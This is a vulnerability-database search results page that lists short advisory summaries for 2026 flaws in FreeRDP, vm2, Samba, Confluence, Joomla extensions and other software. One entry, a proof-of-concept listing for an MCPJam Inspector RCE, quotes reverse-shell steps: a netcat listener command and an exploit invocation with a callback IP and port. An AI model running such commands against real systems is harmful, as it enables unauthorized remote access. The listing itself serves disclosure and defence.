18286 matches found
PT-2026-96266
Name of the Vulnerable Software and Affected Versions Univer version 1.0.0-alpha.2 Description A remote code execution RCE issue exists in the RemoteRegisterFunctionService function located at the '/remote/remote-register-function.service.ts' endpoint. This flaw allows an attacker to execute...
ALSA-2026:69387 Important: freerdp security update
FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released under the Apache license. The xfreerdp client can connect to RDP servers such as Microsoft Windows machines, xrdp, and VirtualBox. Security Fixes: FreeRDP: FreeRDP: Remote code execution or client crash via malicious TS...
vm2 EventEmitter Prototype Code Execution
The vulnerability of the EventEmitter.prototype.emit method in the vm2 library of the NPM package manager is related to insufficient resource control with dynamic management. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...
node sqlite VM2 Code Execution
The vulnerability of the node:sqlite component in the vm2 library of the NPM package manager is related to a data protection mechanism breach. Exploiting this vulnerability allows an attacker who operates remotely to execute arbitrary code...
RHEL 9 : redis:7 (RHSA-2026:69521)
The remote Redhat Enterprise Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2026:69521 advisory. Redis is an advanced key-value store. It is often referred to as a data-structure server since keys can contain strings, hashes, lists, set...
Important: freerdp security update
FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released under the Apache license. The xfreerdp client can connect to RDP servers such as Microsoft Windows machines, xrdp, and VirtualBox. Security Fixes: FreeRDP: FreeRDP: Remote code execution or client crash via malicious TS...
EulerOS Virtualization 2.10.0 : samba (EulerOS-SA-2026-3888)
According to the versions of the samba packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configure...
SUSE SLED15: libecpg6 / libpq5 / libpq5-32bit / postgresql18 / etc (SUSE-SU-2026:4014-1)
The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:4014-1 advisory. - CVE-2026-6464: psql COPY FROM STDIN early failure processes data lines as psql commands bsc1275046. -...
EulerOS Virtualization 2.10.0 : perl-IO-Compress (EulerOS-SA-2026-3881)
According to the versions of the perl-IO-Compress packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled...
Atlassian Confluence 8.9.0 < 9.2.24 / 9.3.1 < 10.2.17 (CONFSERVER-104362)
The version of Atlassian Confluence Server running on the remote host is affected by a vulnerability as referenced in the CONFSERVER-104362 advisory. - Impact: The fix for CVE-2021-23337 https://github.com/advisories/GHSA-35jh-r3h4-6jhm added validation for the variable option in .template but di...
CVE-2026-79079
An issue in CrossWire Xiphos = 4.3.2 allows a local attacker to execute arbitrary code via the src/main/url.cc and src/gtk/menupopup.c components...
TencentOS Server 2: freerdp (TSSA-2026:1042)
The version of Tencent Linux installed on the remote TencentOS Server 2 host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the TSSA-2026:1042 advisory. Package updates are available for TencentOS Server 2 that fix the following vulnerabilities...
EulerOS Virtualization 2.10.0 : openssl (EulerOS-SA-2026-3878)
According to the versions of the openssl packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : Issue summary: Parsing a crafted DER-encoded ASN.1 structure with a primitive element whose content exceeds 2 gigabytes in length...
CVE-2026-67827
Incorrect Access Control in the HTTP API module in ZLMediaKit commit 9fd5152 allows remote attackers to achieve Remote Code Execution RCE via unauthenticated access to the setServerConfig API endpoint, which permits overwriting the ffmpeg.snap configuration parameter with arbitrary shell commands...
Cisco IOS XR Software Security Hardening Release: September 2026 (cisco-sa-hardening-iosxr-qg64NcM)
According to its self-reported version, Cisco IOS XR is affected by multiple vulnerabilities. - Multiple vulnerabilities in Cisco IOS XR Software due to improper resource control issues could allow an unauthenticated, remote attacker to execute arbitrary code or cause a denial of service conditio...
Exploit for Deserialization of Untrusted Data in Openidentityplatform Openam
CVE-2026-33439 Pre-auth RCE in OpenIdentityPlatform OpenAM vi...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector 未認証RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロードメソッド ターゲット上で busybox が動作しない場合は、他のメソッドを試してください:...
JavaGoat
JavaGoat A Java vulnerability lab derived from JavaSecLabh...
CVE-2026-88857
Joomla Extension - OrdaSoft.com - Authenticated, Privileged Remote Code Execution in OrdaSoft Joomla Gallery extension for Joomla 6.2.7 - The extensions saveWatermark copied an uploaded file into a web-accessible directory using the client-supplied filename exactly as sent, with no extension chec...
CVE-2026-88856
Joomla Extension - OrdaSoft.com - Authenticated, Privileged Remote Code Execution in OrdaSoft Joomla Gallery extension for Joomla 6.2.7 - The extensions updateOSGallery, reached via task=updateosgallery, read a JSON request body and called the value of a method field as a live PHP function, passi...